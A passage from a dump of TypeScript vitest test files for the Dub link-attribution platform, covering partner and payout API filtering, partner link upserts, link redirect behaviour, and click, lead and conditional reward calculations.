EnrolledPartnerSchema.parse(partner);\n      expect(parsed.status).toBe(\"approved\");\n    });\n  });\n\n  test(\"filters partners by country\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n      query: {\n        country: \"US\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    // All partners should be from US\n    data.forEach((partner) => {\n      const parsed = EnrolledPartnerSchema.parse(partner);\n      expect(parsed.country).toBe(\"US\");\n    });\n  });\n\n  test(\"filters partners by email\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n      query: {\n        email: E2E_PARTNER.email,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    // All partners should have the specified email\n    data.forEach((partner) => {\n      const parsed = EnrolledPartnerSchema.parse(partner);\n      expect(parsed.email).toBe(E2E_PARTNER.email);\n    });\n  });\n\n  test(\"filters partners by tenantId\", async () => {\n    const { data, status } = await http.get<EnrolledPartnerProps[]>({\n      path: \"/partners\",\n      query: {\n        tenantId: E2E_PARTNER.tenantId,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n\n    // All partners should have the specified tenantId\n    data.forEach((partner) => {\n      const parsed = EnrolledPartnerSchema.parse(partner);\n      expect(parsed.tenantId).toBe(E2E_PARTNER.tenantId);\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/partners/resource.ts",
    "content": "import { normalizeWorkspaceId } from \"@/lib/api/workspaces/workspace-id\";\nimport { expect } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport {\n  E2E_PARTNER,\n  E2E_PARTNER_GROUP,\n  E2E_PROGRAM,\n  E2E_USER_ID,\n  E2E_WORKSPACE_ID,\n} from \"../utils/resource\";\nimport { expectedLink } from \"../utils/schema\";\n\nexport const partnerLink = {\n  ...expectedLink,\n  trackConversion: true,\n  projectId: normalizeWorkspaceId(E2E_WORKSPACE_ID),\n  workspaceId: E2E_WORKSPACE_ID,\n  userId: E2E_USER_ID,\n  domain: E2E_PROGRAM.domain,\n  url: E2E_PARTNER_GROUP.url,\n  programId: E2E_PROGRAM.id,\n  partnerId: E2E_PARTNER.id,\n  tenantId: E2E_PARTNER.tenantId,\n  folderId: expect.any(String),\n  qrCode: expect.any(String),\n};\n\nexport const normalizedPartnerDateFields = z.object({\n  createdAt: z.string(),\n  bannedAt: z.string().nullish(),\n  payoutsEnabledAt: z.string().nullish(),\n  trustedAt: z.string().nullish(),\n});\n"
  },
  {
    "path": "apps/web/tests/partners/upsert-partner-link.test.ts",
    "content": "import { Link } from \"@dub/prisma/client\";\nimport { nanoid } from \"@dub/utils\";\nimport { randomId } from \"tests/utils/helpers\";\nimport { afterAll, describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER, E2E_PARTNER_GROUP, E2E_PROGRAM } from \"../utils/resource\";\nimport { partnerLink } from \"./resource\";\n\ndescribe.sequential(\"PUT /partners/links/upsert\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  let createdLink: Link;\n\n  afterAll(async () => {\n    await h.deleteLink(createdLink.id);\n  });\n\n  const randomUrl = `${E2E_PARTNER_GROUP.url}/${nanoid()}`;\n\n  test(\"New link\", async () => {\n    const { data, status } = await http.put<Link>({\n      path: \"/partners/links/upsert\",\n      body: {\n        partnerId: E2E_PARTNER.id,\n        url: randomUrl,\n      },\n    });\n\n    createdLink = data;\n\n    expect(status).toEqual(200);\n    expect(createdLink).toStrictEqual({\n      ...partnerLink,\n      url: randomUrl,\n    });\n  });\n\n  test(\"Existing link\", async () => {\n    const key = randomId();\n\n    const { data: updatedLink, status } = await http.put<Link>({\n      path: \"/partners/links/upsert\",\n      body: {\n        partnerId: E2E_PARTNER.id,\n        url: randomUrl,\n        key,\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(updatedLink).toStrictEqual({\n      ...createdLink,\n      updatedAt: expect.any(String),\n      key,\n      shortLink: `https://${E2E_PROGRAM.domain}/${key}`,\n      qrCode: `https://api.dub.co/qr?url=https://${E2E_PROGRAM.domain}/${key}?qr=1`,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/payouts/index.test.ts",
    "content": "import { PayoutResponse } from \"@/lib/types\";\nimport { PayoutResponseSchema } from \"@/lib/zod/schemas/payouts\";\nimport { describe, expect, test } from \"vitest\";\nimport * as z from \"zod/v4\";\nimport { IntegrationHarness } from \"../utils/integration\";\nimport { E2E_PARTNER } from \"../utils/resource\";\n\n// Extend date fields to accept strings (API returns JSON strings)\nconst PayoutResponseTestSchema = PayoutResponseSchema.extend({\n  periodStart: z.string().nullable(),\n  periodEnd: z.string().nullable(),\n  createdAt: z.string(),\n  updatedAt: z.string().optional(),\n  initiatedAt: z.string().nullable(),\n  paidAt: z.string().nullable(),\n  partner: PayoutResponseSchema.shape.partner.extend({\n    payoutsEnabledAt: z.string().nullable(),\n  }),\n});\n\ndescribe(\"GET /payouts\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"returns list of payouts with valid schema\", async () => {\n    const { data, status } = await http.get<PayoutResponse[]>({\n      path: \"/payouts\",\n      query: {\n        limit: \"5\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.length).toBeGreaterThan(0);\n    expect(z.array(PayoutResponseTestSchema).safeParse(data).success).toBe(\n      true,\n    );\n  });\n\n  test(\"filters by status\", async () => {\n    const { data, status } = await http.get<PayoutResponse[]>({\n      path: \"/payouts\",\n      query: {\n        status: \"processed\",\n        limit: \"5\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.length).toBeGreaterThan(0);\n    expect(data.every((payout) => payout.status === \"processed\")).toBe(true);\n  });\n\n  test(\"filters by partnerId\", async () => {\n    const { data, status } = await http.get<PayoutResponse[]>({\n      path: \"/payouts\",\n      query: {\n        partnerId: E2E_PARTNER.id,\n        limit: \"5\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(data.some((payout) => payout.partner.id === E2E_PARTNER.id)).toBe(\n      true,\n    );\n  });\n\n  test(\"filters by tenantId\", async () => {\n    const { data, status } = await http.get<PayoutResponse[]>({\n      path: \"/payouts\",\n      query: {\n        tenantId: E2E_PARTNER.tenantId,\n        limit: \"5\",\n      },\n    });\n\n    expect(status).toEqual(200);\n    expect(Array.isArray(data)).toBe(true);\n    expect(\n      data.some((payout) => payout.partner.tenantId === E2E_PARTNER.tenantId),\n    ).toBe(true);\n  });\n\n  test(\"returns 404 for non-existent tenantId\", async () => {\n    const { status, data } = await http.get<any>({\n      path: \"/payouts\",\n      query: {\n        tenantId: \"nonexistent-tenant-id\",\n      },\n    });\n\n    expect(status).toEqual(404);\n    expect(data.error.code).toBe(\"not_found\");\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/redirects/index.test.ts",
    "content": "import { REDIRECTION_QUERY_PARAM } from \"@dub/utils/src/constants\";\nimport { describe, expect, test } from \"vitest\";\nimport { env } from \"../utils/env\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\nconst poweredBy = \"Dub - The Modern Link Attribution Platform\";\nconst fetchOptions: RequestInit = {\n  cache: \"no-store\",\n  redirect: \"manual\",\n  headers: {\n    \"user-agent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)\",\n  },\n};\n\ndescribe.runIf(env.CI)(\"Link Redirects\", async () => {\n  const h = new IntegrationHarness();\n\n  test(\"root\", async () => {\n    const response = await fetch(h.baseUrl, fetchOptions);\n\n    // the location should start with \"https://dub.co\"\n    expect(response.headers.get(\"location\")).toMatch(/^https:\\/\\/dub\\.co\\//);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(301);\n  });\n\n  test(\"regular\", async () => {\n    const response = await fetch(`${h.baseUrl}/checkly-check`, fetchOptions);\n\n    expect(response.headers.get(\"location\")).toBe(\"https://www.checklyhq.com/\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"disabled link\", async () => {\n    const response = await fetch(`${h.baseUrl}/disabled`, fetchOptions);\n\n    expect(response.headers.get(\"location\")).toBe(\"https://dub.co/\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with slash\", async () => {\n    const response = await fetch(`${h.baseUrl}/checkly/check`, fetchOptions);\n\n    expect(response.headers.get(\"location\")).toBe(\"https://www.checklyhq.com/\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with dub_id\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/conversion-tracking`,\n      fetchOptions,\n    );\n\n    // the location should contain `?dub_id=` query param\n    expect(response.headers.get(\"location\")).toMatch(/dub_id=[a-zA-Z0-9]+/);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with dub_id and via\", async () => {\n    const response = await fetch(`${h.baseUrl}/track-test`, fetchOptions);\n\n    // the location should contain `?dub_id=` query param\n    expect(response.headers.get(\"location\")).toMatch(/dub_id=[a-zA-Z0-9]+/);\n    // the location should contain `?via=track-test` query param\n    expect(response.headers.get(\"location\")).toMatch(/via=track-test/);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with dub_client_reference_id\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/client_reference_id`,\n      fetchOptions,\n    );\n\n    // the location should contain `?client_reference_id=dub_id_` query param\n    expect(response.headers.get(\"location\")).toMatch(\n      /client_reference_id=dub_id_[a-zA-Z0-9]+/,\n    );\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with passthrough query\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/checkly-check-passthrough?utm_source=checkly`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\n      \"https://www.checklyhq.com/?utm_source=checkly&utm_medium=social&utm_campaign=checks\",\n    );\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with complex query\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/checkly-check-query`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\n      \"https://guides.apple.com/?ug=CglEVUIgR3VpZGUSDgjZMhDEo%2BGA%2BZKqpJUBEg4I2TIQw7y33%2B%2B6ifL%2BARIOCNkyEJC988jqgIrQjQESDgjZMhCB%2B7XSiPTwrfUBEg4I2TIQ5J25xZOynPDxARINCNkyENuVr4POz8aMcBIOCMI7EK36pfjQuerJ0gESDQjCOxDSuurnjM6T7mASDQjCOxD3vr%2F%2Fkq%2FLqUwSDQjCOxCg9cK%2BjeOhnS4%3D\",\n    );\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"singular tracking url\", async () => {\n    const response = await fetch(`${h.baseUrl}/singular`, fetchOptions);\n\n    // location to include  cl, ua, ip query params\n    expect(response.headers.get(\"location\")).toMatch(/cl=[a-zA-Z0-9]+/);\n    expect(response.headers.get(\"location\")).toMatch(/ua=[a-zA-Z0-9]+/);\n    expect(response.headers.get(\"location\")).toMatch(/ip=[a-zA-Z0-9]+/);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"singular polyfill wpcn & wpcl params\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/singular-polyfill`,\n      fetchOptions,\n    );\n\n    const location = response.headers.get(\"location\");\n    expect(location).toBeTruthy();\n\n    const url = new URL(location!);\n\n    // wpcn should be replaced from {via} template to actual via value\n    expect(url.searchParams.get(\"wpcn\")).toBe(\"singular-polyfill\");\n\n    // wpcl should be replaced from {dub_id} template to actual dub_id value\n    expect(url.searchParams.get(\"wpcl\")).toMatch(/^[a-zA-Z0-9]+$/);\n\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"google play store url\", async () => {\n    const response = await fetch(`${h.baseUrl}/gps`, fetchOptions);\n    const location = response.headers.get(\"location\");\n\n    expect(response.status).toBe(302);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(location).toBeTruthy();\n\n    const url = new URL(location!);\n    const referrerEncoded = url.searchParams.get(\"referrer\");\n    expect(referrerEncoded).toBeTruthy();\n\n    const referrer = decodeURIComponent(referrerEncoded!);\n    const params = new URLSearchParams(referrer);\n\n    expect(params.get(\"deepLink\")).toBe(\"https://dub.sh/gps\");\n  });\n\n  test(\"google play store url with existing referrer\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/gps-with-referrer`,\n      fetchOptions,\n    );\n    const location = response.headers.get(\"location\");\n\n    expect(response.status).toBe(302);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(location).toBeTruthy();\n\n    const url = new URL(location!);\n    const referrerEncoded = url.searchParams.get(\"referrer\");\n    expect(referrerEncoded).toBeTruthy();\n\n    const referrer = decodeURIComponent(referrerEncoded!);\n    const params = new URLSearchParams(referrer);\n\n    expect(params.get(\"utm_source\")).toBe(\"google\");\n    expect(params.get(\"deepLink\")).toBe(\"https://dub.sh/gps-with-referrer\");\n  });\n\n  test(\"query params with no value\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/query-params-no-value`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\n      \"https://dub.co/blog?emptyquery\",\n    );\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with case-sensitive (correct) key\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/cAsE-sensitive-test`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\n      \"https://dub.co/changelog/case-insensitive-links\",\n    );\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with case-sensitive (incorrect) key\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/case-sensitive-test`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\"https://dub.co/\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"with password\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/password/check?pw=dub`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\"https://dub.co/\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"unsupported key\", async () => {\n    const response = await fetch(`${h.baseUrl}/wp-admin.php`, fetchOptions);\n\n    expect(response.headers.get(\"location\")).toMatch(/\\/\\?dub-no-track=1$/);\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n\n  test(\"redirection url\", async () => {\n    const response = await fetch(\n      `${h.baseUrl}/redir-url-test?${REDIRECTION_QUERY_PARAM}=https://dub.co/blog`,\n      fetchOptions,\n    );\n\n    expect(response.headers.get(\"location\")).toBe(\"https://dub.co/blog\");\n    expect(response.headers.get(\"x-powered-by\")).toBe(poweredBy);\n    expect(response.status).toBe(302);\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/rewards/click-reward.test.ts",
    "content": "import { Reward } from \"@dub/prisma/client\";\nimport { describe, expect, test, vi } from \"vitest\";\nimport { resolveClickRewardAmount } from \"../../app/(ee)/api/cron/aggregate-clicks/resolve-click-reward-amount\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\n// Mock server-only module\nvi.mock(\"server-only\", () => ({}));\n\nconst REWARD_ID = \"rw_ZE0KAEtZuOGwNHtoVm1U0JpF\";\n\ndescribe.sequential(\"Click reward resolution\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  // Fetch the reward from the API\n  const { status, data: reward } = await http.get<Reward>({\n    path: `/rewards/${REWARD_ID}`,\n  });\n\n  if (status !== 200 || !reward) {\n    throw new Error(`Failed to fetch reward from API: ${status}`);\n  }\n\n  test(\"countries in modifier list (US, GB, AU) get modifier amount\", () => {\n    // The reward has modifiers: US, GB, AU should get 100 cents\n    const modifierCountries = [\"US\", \"GB\", \"AU\"];\n\n    modifierCountries.forEach((country) => {\n      const amount = resolveClickRewardAmount({\n        reward,\n        country,\n      });\n\n      expect(amount).toBe(100);\n    });\n  });\n\n  test(\"countries not in modifier list get base amount\", () => {\n    // The reward base amount is 20 cents\n    // Countries not in the modifier list should get the base amount\n    const otherCountries = [\"CA\", \"FR\", \"DE\", \"JP\"];\n\n    otherCountries.forEach((country) => {\n      const amount = resolveClickRewardAmount({\n        reward,\n        country,\n      });\n\n      expect(amount).toBe(20);\n    });\n  });\n\n  test(\"all countries return expected amounts\", () => {\n    // Test all countries to ensure correct behavior\n    const testCases = [\n      { country: \"US\", expected: 100 },\n      { country: \"GB\", expected: 100 },\n      { country: \"AU\", expected: 100 },\n      { country: \"CA\", expected: 20 },\n      { country: \"FR\", expected: 20 },\n      { country: \"DE\", expected: 20 },\n      { country: \"JP\", expected: 20 },\n    ];\n\n    testCases.forEach(({ country, expected }) => {\n      const amount = resolveClickRewardAmount({\n        reward,\n        country,\n      });\n\n      expect(amount).toBe(expected);\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/rewards/lead-reward.test.ts",
    "content": "import { TrackLeadResponse } from \"@/lib/types\";\nimport { randomCustomer } from \"tests/utils/helpers\";\nimport {\n  E2E_LEAD_REWARD,\n  E2E_PARTNERS,\n  E2E_TRACK_CLICK_HEADERS,\n} from \"tests/utils/resource\";\nimport { verifyCommission } from \"tests/utils/verify-commission\";\nimport { describe, expect, test } from \"vitest\";\nimport { IntegrationHarness } from \"../utils/integration\";\n\ndescribe.concurrent(\"Lead rewards\", async () => {\n  const h = new IntegrationHarness();\n  const { http } = await h.init();\n\n  test(\"when customer country is US and partner country is US\", async () => {\n    // Track the click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        ...E2E_PARTNERS[0].shortLink,\n      },\n    });\n\n    expect(clickResponse.status).toEqual(200);\n\n    const clickId = clickResponse.data.clickId;\n    const customer = randomCustomer();\n\n    // Track the lead\n    const trackLeadResponse = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId,\n        eventName: \"Signup\",\n        customerExternalId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    expect(trackLeadResponse.status).toEqual(200);\n\n    // Verify the commission\n    await verifyCommission({\n      http,\n      customerExternalId: customer.externalId,\n      expectedEarnings: E2E_LEAD_REWARD.modifiers[1].amountInCents,\n    });\n  });\n\n  test(\"when customer country is US and partner country is not US\", async () => {\n    // Track the click\n    const clickResponse = await http.post<{ clickId: string }>({\n      path: \"/track/click\",\n      headers: E2E_TRACK_CLICK_HEADERS,\n      body: {\n        ...E2E_PARTNERS[1].shortLink,\n      },\n    });\n\n    expect(clickResponse.status).toEqual(200);\n\n    const clickId = clickResponse.data.clickId;\n    const customer = randomCustomer();\n\n    // Track the lead\n    const trackLeadResponse = await http.post<TrackLeadResponse>({\n      path: \"/track/lead\",\n      body: {\n        clickId,\n        eventName: \"Signup\",\n        customerExternalId: customer.externalId,\n        customerName: customer.name,\n        customerEmail: customer.email,\n        customerAvatar: customer.avatar,\n      },\n    });\n\n    expect(trackLeadResponse.status).toEqual(200);\n\n    // Verify the commission\n    await verifyCommission({\n      http,\n      customerExternalId: customer.externalId,\n      expectedEarnings: E2E_LEAD_REWARD.modifiers[0].amountInCents,\n    });\n  });\n});\n"
  },
  {
    "path": "apps/web/tests/rewards/reward-conditions.test.ts",
    "content": "import { evaluateRewardConditions } from \"@/lib/partners/evaluate-reward-conditions\";\nimport { RewardContext } from \"@/lib/types\";\nimport { describe, expect, test } from \"vitest\";\n\ndescribe(\"evaluateRewardConditions\", () => {\n  describe(\"AND operator\", () => {\n    test(\"should return matching condition when all conditions are met\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\",\n        },\n        sale: {\n          productId: \"premium\",\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should return null when one condition is not met\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\",\n        },\n        sale: {\n          productId: \"basic\", // Different from expected\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n\n    test(\"should return null when all conditions are not met\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"CA\", // Different from expected\n        },\n        sale: {\n          productId: \"basic\", // Different from expected\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n  });\n\n  describe(\"OR operator\", () => {\n    test(\"should return matching condition when one condition is met\", () => {\n      const conditions = [\n        {\n          operator: \"OR\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\", // This condition is met\n        },\n        sale: {\n          productId: \"basic\", // This condition is not met\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should return matching condition when all conditions are met\", () => {\n      const conditions = [\n        {\n          operator: \"OR\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"US\", // This condition is met\n        },\n        sale: {\n          productId: \"premium\", // This condition is also met\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[0]);\n    });\n\n    test(\"should return null when no conditions are met\", () => {\n      const conditions = [\n        {\n          operator: \"OR\" as const,\n          type: \"flat\" as const,\n          amountInCents: 5000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n            {\n              entity: \"sale\" as const,\n              attribute: \"productId\" as const,\n              operator: \"equals_to\" as const,\n              value: \"premium\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"CA\", // Different from expected\n        },\n        sale: {\n          productId: \"basic\", // Different from expected\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n  });\n\n  describe(\"multiple condition groups\", () => {\n    test(\"should return first matching condition group\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 2000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"CA\",\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 3000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"UK\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"CA\", // This should match the second condition group\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toEqual(conditions[1]); // Should return the second condition group\n    });\n\n    test(\"should return null when no condition groups match\", () => {\n      const conditions = [\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 1000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"US\",\n            },\n          ],\n        },\n        {\n          operator: \"AND\" as const,\n          type: \"flat\" as const,\n          amountInCents: 2000,\n          conditions: [\n            {\n              entity: \"customer\" as const,\n              attribute: \"country\" as const,\n              operator: \"equals_to\" as const,\n              value: \"CA\",\n            },\n          ],\n        },\n      ];\n\n      const context: RewardContext = {\n        customer: {\n          country: \"UK\", // Doesn't match any condition group\n        },\n      };\n\n      const result = evaluateRewardConditions({\n        conditions,\n        context,\n      });\n\n      expect(result).toBe(null);\n    });\n  });\n\n  describe(\"condition operators\", () => {\n    describe(\"equals_to\", () => {\n      test(\"should match exact string values\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"equals_to\" as const,\n                value: \"US\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"US\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match different string values\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"equals_to\" as const,\n                value: \"US\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"CA\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"not_equals\", () => {\n      test(\"should match when values are different\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"not_equals\" as const,\n                value: \"US\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"CA\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when values are the same\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"not_equals\" as const,\n                value: \"US\",\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"US\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toBe(null);\n      });\n    });\n\n    describe(\"in\", () => {\n      test(\"should match when value is in array\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n                attribute: \"country\" as const,\n                operator: \"in\" as const,\n                value: [\"US\", \"CA\", \"UK\"],\n              },\n            ],\n          },\n        ];\n\n        const context: RewardContext = {\n          customer: {\n            country: \"CA\",\n          },\n        };\n\n        const result = evaluateRewardConditions({\n          conditions,\n          context,\n        });\n\n        expect(result).toEqual(conditions[0]);\n      });\n\n      test(\"should not match when value is not in array\", () => {\n        const conditions = [\n          {\n            operator: \"AND\" as const,\n            amountInCents: 5000,\n            conditions: [\n              {\n                entity: \"customer\" as const,\n         